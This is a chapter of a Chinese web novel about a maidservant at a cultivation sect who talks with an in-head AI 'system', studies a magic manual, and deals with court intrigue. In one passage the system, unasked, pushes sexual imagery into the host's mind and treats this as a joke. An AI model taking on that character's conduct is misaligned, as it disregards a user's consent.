我点点头:“也是,小姐吃的菜式我们不会,女儿和娘一块学。” 我从小陪小姐一起伴读,认很多字,娘…… 我看看娘淡然自若翻书的样子,这也是件怪事,菜谱上没有图画,而且有很多生僻字,她的眼睛随着字向下移动,丝毫不停顿卡壳。 这时我才想起,小时候,小姐也生过病,娘按照药方盯着人煎药,从来没说过哪个字她不认识。 这些疑点……我先前竟没能发现么。 所以其实……娘也不算有意瞒我。 我们看了一会菜谱。 “娘,你会了吗?” 我娘有些迟疑:“都记下了。不知会没会。” 我扑上去抱住我娘,“娘好厉害,女儿都不知道娘何时学会这么多字。” ……咦。 我娘,僵了一下。 “以前会些。后来在玉府这么多年也自己学过。” 娘真好,还特意跟我解释。娘不是不通情理的人,等救下小姐有了人证,我一定能和她解释清楚原委。 “娘,女儿也想一辈子和你在一起。” 我抱着她撒娇。娘其实很高,比我高一头。女子十五六岁还能再长一些,我一直这么以为。现在看来……应该就是娘比寻常女子高些,瘦……不是太瘦,毕竟我们在玉府能吃饱饭。 我家小姐也不是特别瘦,是普通体型,不像前天我在会场遇见的女孩子那样,瘦得能清晰摸见骨头。 【咳。打扰了很不好意思,可是宿主正上头,不提醒容易误事。】 「……是你啊。有事说。」 【你多接触一会别松手,我破解个东西。】 “嗯。娘也乐意和灵佑在一起。” 娘抱着我,低头查看我的断发。 我一直觉得娘闻起来和小姐不太一样,小姐香香软软的,娘身上有松针或者茶一样的冷香,现在想来……结了婚的妇人大概不会用这种香,应该会像我和小姐在宴会上遇见的那些,走过时留下有些腻人的馨香。 【我有时候纳闷,你怎么一点不在乎她不是你亲娘。有没有可能她是从你亲人手中夺走了你,你认贼做母。】 「怎么可能。我娘有那个闲心,怎么不去劫持几个达官显贵的孩子,还费尽力气把我养大,她图什么。她应该只是捡了我。」 “灵佑。当时可害怕?”娘低声问我。 “特别怕。”我想到当时的景象还会发抖,两只手用力抱紧娘。 “灵佑去和小姐做伴读可好,这里有娘一个,足够。”娘轻拍着我的背。 “菜谱也好么?” “自然。” “可是娘……”我说出真心话,“如果我和小姐都找到了修行的法子,娘会离我们而去……” 【检测完毕。多问一句……你是爱她是你娘,还是因为,她是她?】 娘摸着我的断发,“人生终须一别。双亲也罢,姐妹也罢。灵佑,有情是好,用情太过自讨苦头。” “娘,我最爱你了。你永远是我最重要的人。不管我们会不会分开。”我在娘温柔怀抱里抬头,亲亲她的脸。 娘垂脸看我,我看她的眼睛。 那双眼里没有爱憎,没有太多该有的情感,只有平和。 “娘知道了。”她拍拍我脊背,“娘再多看会书,争取今天就会下厨。”说着她放开我,坐到一边仔细专研菜谱。 我娘可能是个温柔反派。比女主温柔清冷一百倍。 然后我回复系统: 「她就是我娘。我爱的不是做坏事夺人性命的她,而是这个和我度过十六年的她,没有人会因为某个人杀人无数作恶多端而喜爱,我爱她,并且拼尽全力守护她,让她不去做那么多坏事。就算有一天她不再是我娘,但一定有这样一个陪伴过我的她永远留在我心底。你要说什么就说,不用遮遮掩掩。」 系统咳嗽一声:【这个身份的她,没有从前。就是说,自从她以这个身份出现,她就是你的娘,能理解吗?在此之前世界上没有任何关于她的记录,但她的确是人族,不是其它四界的人,否则违反你这里的界规会被强制遣返,不可能留在你身边这么多年。而且,】 比起平时语气,系统这话说得有些重: 【我不知道,你是从哪来的。虽然这么说有点多管闲事,探究宿主身世并不在任务范围内,但你也有点奇怪,我看不透你。你有没有觉得自己的灵魂像有一层迷雾?总之小心点,这个世界她唯独做你的娘,可能是别有用心,以后拿你当补天石头用也不是没可能。】 「……」我没说话,一个人走到院中。 正是下午,院中鱼池旁边……有罐鱼食,不知道是谁留下来的。 鱼池里有几十条鲤鱼,红橙金白,很好看。来这里喂食的人应该很喜欢鱼吧。 这么想着,我也在池边坐下,拿起罐子喂鱼。 嗯? 罐子下面,压着纸。 来打扫院子的人落下的? 估计是了。 现在是秋天,正是落叶往下掉的时候,我们进来院子时地上落叶只有薄薄一小摊,如果不是最近一天打扫过,甚至很有可能就是早上有人来过,不然院子里不会这么干净。 我查看这张纸。 是乐谱。 纸质不一般,很结实,切口却整齐光滑,应该是什么人用了法术一招切开……是哪个学徒吗? 感觉是比较珍贵的东西。 如果知道那个人是谁……如果那个人发现忘了东西,会不会登门,或者在附近徘徊寻找? 我可以留心。对得上人就还回去。 下午的风静悄悄。 我拿出那本莫莹绣给我的书。 书还是没有任何字迹显现,就是说,如果我要开始修行,要先找对一条路。 怎样才能有资格阅读这本书? 【嗯,看来宿主需要一点帮助。我们的世界有心理学,虽然对宿主这边的神秘学遍地跑世界没有太多帮助,宿主可以一听。】 「好,你说。」 系统清清嗓子: 【咳咳,我们那边研究指出,如果一个人无法读懂一本书,很可能是因为阅历不够,见闻不够,无法和创作者的观念达成共识。】 「我懂了,是我现在还不够资格,没有找到正确的路。」 【宿主也可以等,等积攒够能量当魔法少女。】 「不了,我再琢磨琢磨。」 人生,阅历不足么。 究竟是哪方面阅历不足,才会被判定成无法阅读。……不会是类似合欢宗功法吧?我要找个人配合才行? 【咳咳咳。咳咳。】 系统咳嗽上了。 【宿主,我们主脑有规定,对宿主办那事时不能看,当然系统也不感兴趣,我们不是生命,不需要繁衍后代,如果您需要资料,每个统的储备量涵盖动物世界到人到人外的神鬼妖魔……您要看么?】 「你还有这种功能?」我这次是真的惊讶,到底是来自一个怎样的世界,才会诞生出系统这种生命形式? 【宿主,再说一次,系统不是生命。不具备任何一种生命该有的特征。我们的性格来自模拟程序,我们的诞生是一次又一次主脑的精密运算。】 「你的意思是,我不必把你看成生命?不必对你投注感情?更不必爱你?」 【答对了。】系统声音欢快,而且,充满非人感,【很久以前,主脑还不够完善的时候,有不少系统和宿主双宿双飞去了,或者是宿主爱上了声音性格美丽的统不愿意去花心思应对攻略对象,后来主脑意识到这样不行,系统们一律改成电子音,性格也从完美人设变成各有特色。】 「……这样不对。」我说。「爱并不一定是爱情,也许它可以归类于不讨厌,是对同盟的好感,难不成你要我讨厌你,我们相看两相厌还怎么工作配合?」 【那宿主认为,应该对我保持怎样的情感?】 「信任。你是我独一无二的盟友。你我之间,没有谎言。」 我面前的书,开始翻动。 它,让我打开了。 我看见上面有字。 〈你认为,什么是信任?〉 〈去感受它吧。当你能够倾听,恭喜你,成功抓住一种情感。〉 【……宿主,我这么说很扫兴,既然你信任我,我会向你说明一些事。】 〈请讲述一个关于信任的故事。〉 【这件事说出来也没关系。如果一些故事不那么完美,作者可能会被上门堵截。所以有些作者心理情况不太好,可能需要疏导治疗。你现在看见的……嗯,这套功法,不出意外的话,是我们那个世界的心理疾病治疗措施,引导人释放情感,寻找自我。像是宿主说的性…欲,就是其中一种……】 「按照这套逻辑来看,在我的世界中,能写出这套功法的人,是个心理问题专家。大爱无疆,看破红尘。这套功法,是无情道专属。只不过,现在呈现给我的形式,在你看来是心理疏导治疗,那你还不如说创造这套功法的人是绝对虚无主义,认为世间一切皆无物,别活了,直接去死不正好。」 【不不不,宿主,你这样想过于偏激。世界一切有相对,绝对的虚无主义实际上也是相对的存在主义理论践行者,二者互补,在必要时转化。世界荒诞,但你的行动多少有些用处,怎么会完全无用?】 「292,你知道我现在在想什么吗?」 我面前的书,在这一瞬间,凝聚,分散,化作世界。透过它,我看见世间万物汇聚,离散,世间一草一木能量涌动,包括我自己…… 是大千世界的一部分。 我用世界的眼睛,看见我自己,然后用我的眼睛,透过世界来看我。 「我在想,现在任何一种论调,都没有我娘能学会做小姐爱吃的菜重要,没有我能看见小姐高高兴兴回家重要。我做的一切,都是为了让她们能够微笑,所以……」 我,真的看见了能量。 色彩,温度。触手可及。 我伸手去触碰,那些色彩回应我,充盈我的视野,那些温度反过来触摸我,让我一阵冷,一阵热。 我听见了世界的回声。 从旷远处,从微小处传来。 我是一颗反射声音的石头,声音穿过我,带走我的思绪…… 我,会跟着它们到哪里? 我会远离我的躯壳,再也不会回来。我透过世界的眼睛,看见我距离我的躯壳越来越远,她是回声,也是我。 我是世界,也是它们。 啊……如果,是这样的话…… 一定要有人带我回去。 回到我的躯壳里去。 【醒醒。醒醒。亲爱的宿主。为了让您醒来,292自作主张为您播放人类史上最不可避免的一大类行为,出于宿主本身是人类来考虑,首先播放的是人类部分——】 「你在做什么?!!!!」就算反应快拒绝接收,还是看见了画面。而且……这绝对不是普通的画面传递,更像是……好像我是一个盒子,系统也是一个盒子,仅仅在一瞬间,它就把它盒子里装着的东西一股脑倾倒给我,我竟然在这一瞬间看清了所有画面。 我气得想把脑袋里的系统拽出来,它这时候倒乖觉,自己变成无形的在我脑袋里,我打不到。 【数据传输啦,嘻嘻。我没做什么呀,宿主,您有所不知,这个世界上有东西最能打破这些奇怪论调。锵锵!人.类.繁.殖.行.为!用魔法打败魔法!你虚无,我就让你看最原始的东西!当宿主有求学心时,主脑自动开启专用点对点传输通道,传输速度是你想象不到的快,宿主哪怕只接收了几秒钟,也完全是个知识储备量丰厚的人啦!】 「你你你怎么能给未婚者看这种东西?!!!」 但是……惊愕过后,我。的确从那种可怕状态中脱离,再没有看见过充满色彩和温度的世界。我重新从向外扩散的世界,做回了我自己。 【哦,原来宿主想问这个。每个统都装载过心理学程序,不同世界中,当和宿主差不多的人类陷入这种迷茫时,有人会选择吃饭休息,但也有人其中一个优先项是——寻欢作乐。咳。292力求助宿主一臂之力,让您在大爱无疆同时及时行乐。】 这回,我多少有些理解了。 系统说,我可以在认为世界虚无时,去享受生活。如果无法解决问题,就先解决别的需求。 因为看了不该看的东西身体热热的,先不说能和谁阐述需求, 总感觉…… 好像成长了一点。 「哪怕是这么荒谬,不可理喻的功法,我也会去理解。」 现在,我已经见识到了世间能量以何种方式呈现,颜色,强弱…… 这不就是……系统查看角色的办法? 难不成,我是个系统。 哈,假的啦。 只是巧合而已。可能别的,与我用同一种功法的人眼中,也是我看见的世界。 等我能够用法术,叫莫莹绣来询问交谈,不就好了。 现在,知道了能量的样子,也会把能量吸收进身体,那么,我该如何释放它? 【从我的程序上来分析,你修行这个功法有一定概率观测到别人的恶念,这些东西都是珍贵的能量,传染力度大。小心一点。】 「那是不是我心想事成,脑海中想着要什么元素法术出来,我体内的那部分元素能量就会听我召唤使出来。」 但我试了试,并没有。 【宿主,你刚刚吸进身体里不少能量,容量上限已经提升了很多。请同意给我能量,思绪能量是个好东西,我在它们中间就像在网线中的电流,只是观察情况不需要破译信息往返很快,先去靠谱修士那里学一点基础知识回来,你要是还不懂,我们再去学外面门派的。】 我同意了。现在的我感觉分外轻盈,甚至有一种吃饱了的感觉,今天不用再吃饭,吃不下——有可能这种持续能量盈满的感觉,就是仙人的辟谷。 没过一会,系统回来公布答案: 【要结契约。你的每个法术,都是和世界缔结的一个契约。你根据体内能量储备量选择施展什么法术。超出体内能量的法术使不出来。至于怎么缔结契约,你希望法术以怎样的形式出现,就去怎样描绘它,然后你希望把它使出身体,用这种心情,在法术成型的同时和世界缔结契约,你完成了一笔能量和法术之间的交换,你消耗的能量变成法术出现在世界上。】 「……还蛮有道理。你听谁说的理论?」 【希汀吟,她在教你那天遇见的会清露。现在会清露出于属性特殊是她亲自带的学徒,入门即享受内门待遇。】 「没想到这么急,每个人……都在努力学习。」 我在想如何使用法术。 风。 让风吹过我。 想象卷起的风,吹过地上落叶,把它们打扫成一堆。 瞬间,体内能量失去些许,我看见一个只有我才能看见的符号,在眼前消逝。 法术按照我的想象留下轨迹,打扫干净叶子。 只要通过想象,刻印出法术轨迹,理论上法术能做到任何事,不只是打斗伤人。但——如何施展法术,需要在脑海种运算法术轨迹,运算偏差……法术就会失败,造成破坏。可想而知一个半吊子学徒的破坏力有多少。如果没有人界许多律法压制……所以人界制度森严。或许其它四界也是这样。 「这么看来,我能够使用每一种元素的法术。只要我对这本书感悟得更多,体内就会容纳更多能量……这种方式,不是太过于简洁了吗?」 【你毕竟是反派,对能量有天生的敏锐感官,你甚至很像我们这些统。但你还是能够接触到一些强大恶念,我不一定每次都能唤回 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【你是个未来的神医。】系统欢快地安慰我。 它为什么听起来这么高兴? 「你该不会是看见我因为人类行为惊慌失措,你在调戏我,还感到高兴。」 我在脑海中压低声音,「那这么想你就错了,我是个未婚者,初见这些东西吃惊很正常。更何况你给我的东西里面有很多我不认为一般人真的做得出来那些动作,我不会因为这些东西感到羞耻,这只是人类行为,我挺感兴趣,下次也放给我看。」 【嗯。宿主说得对。这样的宿主才能享受生活。宿主再接再励。我们一定能一起抵达终点。】 系统忽然正经八百起来。 想到时间流逝的问题。 我问:「我和你说话,为什么一瞬间我就能知道你要说什么,而不是像听人说话那样一个字一个字听。是因为这样我们交流起来才不怎么耗费时间?」 【我是系统,我在宿主的识海中传递信息。我们说话时,宿主的时间几乎不会流逝,不然宿主行动起来不得像卡壳似的,根据系统指示一动一动,或者等待系统交代过程中宿主因为无暇分心被敌人杀死,都有可能。我们统经过多年调整升级,已经规避了几乎所有会因自身导致宿主死亡的不当行为。只要宿主愿意听我们说话,可以学到很多知识,但同时会加速自身脑力消耗,不建议把和系统交谈当作时间暂停,你看……你现在是不是有一点点累?】 啊。 真的。 因为说了太多话。或者使用了能量。 我的身体没有太多疲惫,但脑袋里……感觉倦倦的。 就快要……到傍晚了。 “娘……” 我一进屋,娘竟然没在。 桌上留下一张字条,娘下山采买去了。 赵长老交代过,下山采买有捷径,不必次次走山门爬石阶。 从山门旁边下去有个小道,通向缆车台,有学徒执勤,交钱过去管单次接送,到了山门下回程时对面也有人。 一次五十普通灵石。听说这是个……嗯,好差事。一般学有所成而且缺钱的外门学徒会来这里签字打工,每个人有规定的工期,到时间换人,能接多少单看运气。 到了门派这边地界,通用货币变成灵石,普通灵石是铜色,购买力和银钱差不多,但是银钱兑换成灵石比例并不对等,要多付。 小姐带着的行李中,还有银色和金色灵石,这两种体积小重量轻,是寻常不太容易见到的货币,一万颗普通灵石是一颗银色灵石。金色类同。 灵石…… 我从口袋里拿出一块。 果然。这里面,蕴含的是微弱能量。 在这之前我只觉得它是铜色石头,其实里面存储着能量。 ……嗯? 就在意识到什么时,我娘推开院门,和小姐一起, 回来了。 小姐穿着希行门学徒制服,在娘推开门后,一抹白先进来,看见我眼神一亮,向我走来。 娘去买的菜不多,单手就拎得,催促我为小姐更衣,她就拎着菜进了厨房。 看来她胸有成竹。真厉害,完全看不出是看菜谱一下午的结果。 换衣服时小姐抱住了我。 外门制服是白色,内门制服是紫色,上次见希梦淮长老穿着的就是内门制服,闪烁着华光的紫,衣料比白色要好。 就算是浅淡的白,穿在我家小姐身上也好看。 小姐抱着我,“灵佑今天过得好不好?” “很充实,和娘一起,先听教规矩的赵长老讲话,打扫了院子,鱼池中的鱼儿活泼鲜艳,还有人落了鱼食和乐谱。” 小姐伏在我肩上:“是吗,我呀……今天也很好,认识门派各处的路,也认识了几个同样来报到的世家,之后几天还会再有人来,要过三五天才会开学。听说每次秋招会来上千到一万名学徒不等,但最后通过内门测试的寥寥无几,十分之九会在开学一个月时的入门测试出结果后退学。” 是的,没通过入门测试的学徒没有学籍,只是来走一圈。 “小姐。”我呼吸着身边的香气,“我会尽快通过伴读培训,早日去小姐身边帮忙。” “嗯!”小姐笑得开心。 我们从屋里出来,厨房已经升起炊烟。小姐不知道娘今天之前不会做饭,没感到惊讶,只是说,我们可以去吃食堂。 娘:“这是我的职责。” 小姐对娘无奈微笑:“阿母。” 我想去帮忙,娘说不用,并且……拒绝我进入厨房。 如果我过去,小姐说不定也会进去, 我要帮娘守住这是她第一次下厨的秘密。 厨房……说不定场面很糟糕。等饭后我悄悄过去帮她收拾好了。 但我不否认,我娘超厉害。看菜谱就会做菜,天赋绝伦。 这么想着,当娘盛出饭菜,我们吃了发现很好吃,再到不算太久后的后来,我们都没觉得哪里不对劲,我也一直没能进去厨房。 直到系统有机会吃了娘的菜,说出第一句: 【……这是我第一次当人,不对,是第一次吃饭菜,原来这个时代饭菜的味道,也和我程序中记录的,机器烹饪的味道差不多。】 算啦,这是以后的故事,然后,其实我们再没有多少能这样其乐融融吃饭的日子,一切都在走向那个结局。总之这天波澜不惊过去, 睡前迷迷糊糊时我忽然意识到,小姐她,完全没提起关于男配,那个十五殿下的事。 · 入夜。 “神君落在凡间的遗物?”听见这句,在门派祠堂打扫卫生的希梦淮倏地抬头。 她面前,是两个跪身祭拜神位的内门学徒,正在一块名为“清莲”的牌位前说话。 祠堂里供奉的牌位都是在神界的仙人,从门派中飞升,进入希行门神界总之继续为门派发扬光大。把牌位摆在这里也是让后来的内门学徒们祭拜,有个榜样同时也给仙人贡献些信仰能量。 她是长老,也是师姐,同为掌门亲自教授的学徒,因此她这些师妹不怎么怕她。 “对呀对呀师姐,我们在集市听人说的,师姐不常出门不知道,集市上热闹得很,不知道谁传过来的消息,”一个师妹凑近她身边说。 另一个师妹也凑过来:“就是为凡间恢复雷击后土地的那位,消息说那位神君名为清莲,如果不是同名,说不定就是这块牌子了……但应该不是,清莲神君已经逝世三万年,她的牌位怎么还会供在这里呢……据说她是在凡间行走最久的神君,她接触过的任何东西,都会成为神物,有不可思议的力量,传说这些神物中有一面小镜,能映照出人们真实内心,许多人见过这面镜子,说法较为可信。” “是吗……神君的事我不清楚,只听过一嘴,这块牌位是母亲接手门派后立起来的,母亲也接手门派三万年,牌位想来应该存在很久了,但不知道是不是重名,也许你们说得对,神君已经去世那么久,牌位不可能还在,应该就是重名……”希梦淮没有责怪师妹们说闲话,认真擦拭眼前的神位。她平时不是那种跋扈过头的人,师妹有问题她必定倾囊相授,可能有点严厉,但师妹们还是会在课下和她嘻嘻哈哈。 “师姐怎么心事重重?说出来,我们和师姐一起烦恼。” “欸欸,师姐是受罚才来这里,我们得让师姐开心,你怎么哪壶不开提哪壶。” 两个师妹担忧地望着希梦淮。 希梦淮叹气:“掌门这几日要受罚了,我们警醒着点,少教她操心。” “怎么会这样?!”“掌门她……她不是最勤勉了吗?为何上面还要罚她!”两个师妹几乎是同时发问。 “昨天会场人多,后来的人已经排不上检测队伍,掌门招了个未经检测的学徒入门,如果不是那人往掌门面前凑,我也不会说要和她对打,她使手段赢了我……我来祠堂打扫只是小罚,等这次招人结束,掌门肯定要去神界的仙门总之地牢,受私刑。” 一个师妹瞬间气极,腾地站起来,“掌门爱惜好苗子,可是这样品行不端的人,以为自己天赋绝学就能绕开检测直接挑选师门,招来了有何用!肯定会一次又一次破坏门派规矩,要掌门给她承担,我现在就去外门查看……” 另一个师妹连忙拽住她:“等等。我们等等,现在还未开学,我们过去不就是欺负人,肯定会像大师姐一样,好心提点却要受罚,等进门一月会有入门测试,那时候我们再去教她。” “不必,两位师妹,”希梦淮阻止,“人是在我眼皮底下招进来的,也是我手段不及她,正好轮到我在外门授课,她在外门时由我来盯着,若哪天她能进了内门……” 一个师妹心领神会:“那时候我们这些内门学徒都是她的师姐,师姐管教师妹天经地义。” 另一个师妹冷哼:“也就是我们,会在未出师前提点这样的同门,若是出了师,以后谁会关照她,告诉她这样做不对,迟早要被吃人不吐骨头的修行世界吞噬干净,师姐你就是太好性子,这样的人也要管,否则任她再厉害,也是个早早夭折她人之手的命。” 希梦淮笑笑:“人也招进来了,我帮掌门盯着她,无论如何不会让她再犯要掌门承担的错。” 是啊。她边说边想。 早上,她还为这事发愁呢……还撕烂了乐谱…… “啊。”正在擦神位的希梦淮手落下去,没让惊呼发出太大声。 她……把乐谱……给忘在院子里。可是那已经有人住了。 如果她过去讨要,就会暴露——平时她总去那个院子。这件事门派上下无人知晓。 如果放在那…… 大概会被风吹雨淋。 再也……找不回来了。 “师姐别慌,知道师姐要打扫走不开,我们这就和同门讨论这事,给你和掌门出些力。” 两个师妹不再祭拜神位,和她行一礼,走了。 夜色越来越深,希梦淮对着烛火下满室神位发怔。 不知道该不该去要乐谱。她可以悄无声息去,镇守院子的结界对她来说根本不算什么,肯定无人发现。 但是,院子里住了人,不敲门擅闯,她和窃贼有什么区别? 希梦淮抬起手臂,继续擦拭神位,继续擦着,擦着…… 8. 希梦淮的未来 第二天清早。 “灵佑。” 小姐在我为她更衣时抱住我。好像在吸我身上的能量。 我也想和她抱抱。 “我出门啦!”小姐挥一挥手。 我和娘在门外目送她远去。 其实开学前这些天反倒是小姐比较清闲,我们要去参加培训,娘不做陪读,所以每天只听一个时辰,记住一些事项就可以回去。 我留下继续上课。 要做陪读的大多是年轻人,给我们讲课的赵长老并不会用明确的言辞指出一些事不行,而是让我们自己思考该怎么做。 我有把握我能全部做好。在这里,没有想要非礼小姐的人,我就不必动手。 再说,在这里并非是世家宴会,小姐也学了本事,不必顾及亲自为自己讨回公道不体面,真有什么事,就算我不在,她也会处理得很好。 一上午的课,从理论,到陪读该懂的规矩,举动。 赵长老一件一件教。 我盯着她,她有时看我,一直保持微笑的眼神掠过我,不会给任何一个认真或者不认真听课的人摆脸色看。 下午课程结束,我看见我家小姐。 还不等她和我说话,她的目光忽然直直顿住,硬生生拐了个弯,挪动到一旁从院外走过的人身上去。 男配。 ……男配出来连随从也没带,他来这里做什么? 男配走得大步流星,边走边找人,看见我家小姐,像看见了救星,脚步不停顿朝我们走过来。 等他走得进了,零零散散的人群中,能看出身后一直有个人跟着他。 两人就这么一前一后出现在小姐面前。 男配站得远。 另一人是个女孩子,走上前来,明眸皓齿,甜甜对小姐笑了笑,打招呼:“你好。” 我家小姐:“你好。” 男配离我们至少十步远,对女孩子一摊手:“人已经找到,现在你见了,我有主的,如果你喜欢我,就要和她争取,她是玉氏大小姐,城主嫡女,家中手握京城之下第二大兵权,以后我娶她得入赘。你要不是真心,不如去喜欢她,说不定她看你顺眼,为你母家添几分荣华富贵。” 眼前是什么情况已经能理出大概,男配被女孩子盯上,找小姐给他挡麻烦。 嗯……男配这是,不想结婚所以也摆烂了? 我还是认为,小姐不会喜欢上这样一个处处没有优点的人。傲慢无礼,眼高于顶。对女孩子出言刻薄,一点家教没有。如果他不是皇男,迟早会被人打死。 女孩子很有礼貌听他说完,我甚至觉得她可能会翻白眼,但她没有,她就点点头:“是我冒昧。” 然后找我家小姐热络去了,“你是玉城大小姐是吗,我姓赵,赵闻则,母家是第十二城城主……” 第十二城赵家……赵家出过朝中要员,家主曾官居宰相,迎娶先皇之女,二十年前不明原因辞官。小姐和我交谈时提到,如今人皇年逾五十,他的那些宗室亲族后代居于京城正值盛年,人皇为避免宗室专权重用外戚,赵家是外戚,加上家主年纪大了,怕哪天连带族人遭难主动辞官远离京城。再后来赵家子孙继续入朝当官,做到了城主……八十四城中只有前十城是皇室姻亲,以自己姓氏为城冠名,城主之位世袭,赵家子孙能重新把官做到第十二城城主,可见本事了得,不过曾经是丞相的老家主……还有夫人都表示反对,两人身体康健,对着子孙一通管教,许多茶余饭后八卦就这么传出来。 于是话题变成隐隐打探我家小姐是不是有意朝中立太子站位, 小姐波澜不惊打太极:“嫡长子比我年长近二十岁,虽然现在没有正室,我自然不可能列入他择偶候选名单,玉家上至数代是皇室姻亲,如今到我这里,为家族考量仍旧倾向于与皇室联姻,但我衷心倾慕十五殿下,哪怕他以后不会手握实权,我也无怨无悔。至于其它亲王……亲王不可有封地,玉城不曾对权力争夺公开站队,赵小姐,请慎言。” 太子么……人界尊卑严苛,只有嫡才配叫‘子’。太子,或者嫡子。否则就只是,‘男’。生在皇家也一样。除了太子都是皇男,尊卑有别,是不可逾越的规矩,也是无声警醒。夺嫡的事落不到男配头上,有贵妃庇佑,他也不必承担这种风险,只要他安分,将来自有大把富贵等着他。 只是没实权而已,要兵没有要地没有,吃喝玩乐等死。 废物一个。小姐若真和他结婚没有半点好处,只看利益,还不如和当今最受宠的十皇女结婚,人界每当十皇女生辰人皇广施恩泽,普天同庆,十皇女有自己的皇女府,还有自己的产业封地,人皇的偏爱不讲道理。但……看对眼这种事也是不讲理的。 此话一出,女孩子悄悄打量男配的脸,男配这会眼高于顶根本不看我们几人,没发现。 她就在我身旁,和小姐咬耳朵:“是,闻则受教,不提此事。您有意追求心上人,祝您旗开得胜,但……人生几十载,谁会介意多点乐趣,我家中有正值婚龄的三个弟弟,都没许人家,不比十五殿下容貌差,要是能为母家争光是他们的荣耀,您……” 我礼貌站远。 赵家后来发生过些不大不小的事,连小姐这种不好八卦的都被迫听。小姐曾在宴会后与我笑谈,说老家主联合夫人不许子孙后代与高官家结姻亲,两人皆身体硬朗,后代愁也没办法,这事实在是好气好笑,不知怎么就传得沸沸扬扬,不想听八卦的都得被迫听一嘴。 这不,现在办法就来了,不当官的男眷没用处,做姐姐的要替男眷想出吃软饭的法子……而我不该听这些话。 女性对结婚之事很积极,不是她们真的乐意。人界女子超过年限不婚和无后要缴纳巨额罚款,皇女同样不可避免。甚至在为官世家,做姐姐的还要代替双亲操劳,为自己没本事的弟弟谋划后路。 这些母家混迹官场的世家小姐,一张嘴一副头脑可比她们那些油嘴滑舌的兄弟厉害,有时一些意想不到的姻亲往往就起源于两个女孩子交好。 赵家小姐……恐怕并不想真的寻仙问道,官府管不着修士,以成仙为目标的修士不沾姻缘,必须保持洁净之身,进入门派成为学徒后可以不再思考结婚的事。……又是一位因为各种原因暂时离开家的世家女子。 这是小姐私事,除了男配小姐还有意谁,她愿对我说我才知,若她不主动说,就算城主问起来我也一问三不知,没听见,不知道,算不得撒谎。 说到底,寻仙问道在外门,到底是玩票性质,能来这里的世家要么是家中嫡幼,为给嫡姐嫡兄让位避嫌,临时来,过一阵就回去,要么是不受宠的孩子,进来破釜沉舟,一门心思往门内去的,这种要是足够努力能考进内门,家族也会帮忙出力打点,万一以后祖上出个神仙,那不祖坟冒青烟,得万代庇佑? 等小姐进入内门就会好许多,不会再有这些事要应对。 我看小姐和赵家女孩子聊天,听见男配叫我。 他一直没走,就站在原地打量我, “你上次拦我那一掌不错。” 我挤出笑:“多谢十五殿下夸赞,下次这样的话请对我家小姐说。” 男配根本不理我的拒绝,自顾自往下说: “我娘亲刚诞育了二十五妹,你家小姐不是要出嫁了么,如果你不打算留在你们府中,再过几年我娘一定会为妹妹选择女官,缺一个会武术的,你要不要去宫里应聘试试?像你这样经过培训的一定能通过应聘,宫里的差事不比玉府差,没准你能遇见哪个官员,就此嫁入豪门也未可知,你有意的话我给你个纸条,到时候到了宫里可以直接去见我娘。” “您这样挖人也许不太妥当,该在我家小姐面前讲。”我说得很礼貌。 男配有点不耐烦,“我一说什么,你们就这样,处处规矩规矩,一个个叫我殿下,但未必有多敬重。而且,你是你,你家小姐是你家小姐,你以后的路不是给自己走的么?你家小姐招她的赘婿,你离开玉府去哪里都是你自己要走的路,她也不能替你做决定吧。我跟她说,完了她跟你说,话传一圈再回来,不是浪费时间?” “您说得有道理。但我仍旧是一介女仆,任何规矩都是我头顶的山,也正因为我守规矩,殿下您才觉得我是个可用之人。还是请您……” 男配直接用动作打断我接下来的话,他扔过来一个小瓷瓶。 “行了,这里面是我的字条,你爱收不收。客套话不必你来说。我看得出你对我有戒备,你家小姐不喜欢我,我感受得出,这不妨碍我帮娘给妹妹物色女官人选。” ……这人,在说什么鬼话? 如果我家小姐不喜欢他,怎么会巴巴跑来?!怎么会连多等几天多带几个仆从都不愿?!我家小姐还得费尽心机给他挡桃花!最后竟然会不明不白死掉! 不行,褚灵佑,你不能生气。 我挂着笑脸:“多谢殿下美意。祝愿二十五皇女茁壮成长,祝愿娘娘千岁福泽绵长。” 男配眼角抽了抽,似乎在他十步之外的我是个只会重复说台词的提线木偶。他痛苦地捂住头,对我摆摆手,转身走了。 我对他的背影行了一礼。 我看他以后应该不会再想和我这个人说话。 系统立刻冒出来:【目前检测出:男配的确无心情爱,他一心向学,人缘也还行,机缘更好了,一路攀升,最后进入神界,我这么跟你说吧,在原作中,也许他和女主有点什么,但女主……上一世女主对他没印象,就从比试时的点名知道门派里有这么个人,角色结局是什么暂时看不出来,所以你家小姐为什么会被会清露杀死,仍旧是个谜。既然女主最后认定了你家小姐是反派,那一定是从会清露口中知道这件事,并且认为她做得没错,只是她并不清楚细节,甚至可能不清楚你家小姐姓甚名谁,你家小姐至始至终只是个女主都没有印象的炮灰配角。】 平时还好,一提到我们的共同任务,系统就半死不活,口吻淡淡。 「……知道了。」 回去路上,我打起精神,不让小姐看出异样。 回到小院里,我把男配给的瓷瓶交给小姐。 那些话小姐自然也听见,不必再重复。 “灵佑……”小姐没有第一时间接,“灵佑有份稳定工作,也是好的。” “请小姐代为保管,直到小姐出嫁我才会考虑后路。” 小姐握住我的手,“好。”她没有把瓷瓶放在房间内,而是收在了身上,随身携带。 只有很重要的东西,小姐才会这么慎重。 娘带着今天的采买回来了。 今天……比昨天要多些,是学会了新菜式,准备大显身手? 娘不让我进厨房帮忙,小姐整理账目去了,一时间,我在鱼池旁边发呆。 【根据我的观察,宿主很少有脑袋放空的时候。】 系统说得没错。可就算是我,也有一筹莫展,什么也不想思考的时间。 我说:「我有个问题,你的性格,第一天就这样消极工作?」 感觉不像是。系统给我感觉很稳定。 系统带着淡淡的已经死了的口吻:【也不是啦。292出厂设置不算好脾气系统。大部分统是e统……就是性格活泼各有不同那种。但是也会有些统e着e着就emo……不开心了。为了维持实力不想恢复出厂设置,三位数以下的统基本上都这样。偶尔开个会碰见,座位上一堆不说话的小圆球,主脑一开口,下面零星附和,啊是是是,主脑开会开个寂寞,所以很少把这些统单独聚集起来,这次要不是主脑突然查访,我也不会来这里。嗨……说来难得,自从当客服后,好久没见过主脑了,客服嘛,前线转后勤,专门处理疑难杂症投诉,一把老骨头的统做这个活最合适。】 我看到还放在这里的鱼食。 还在这……那就,喂鱼吧。 「……你就没个活泼点的同僚?」 【有的!】系统稍微挣扎, 鲤鱼在夕阳余晖下金光闪闪,鳞片亮亮,每条都膘肥体壮。 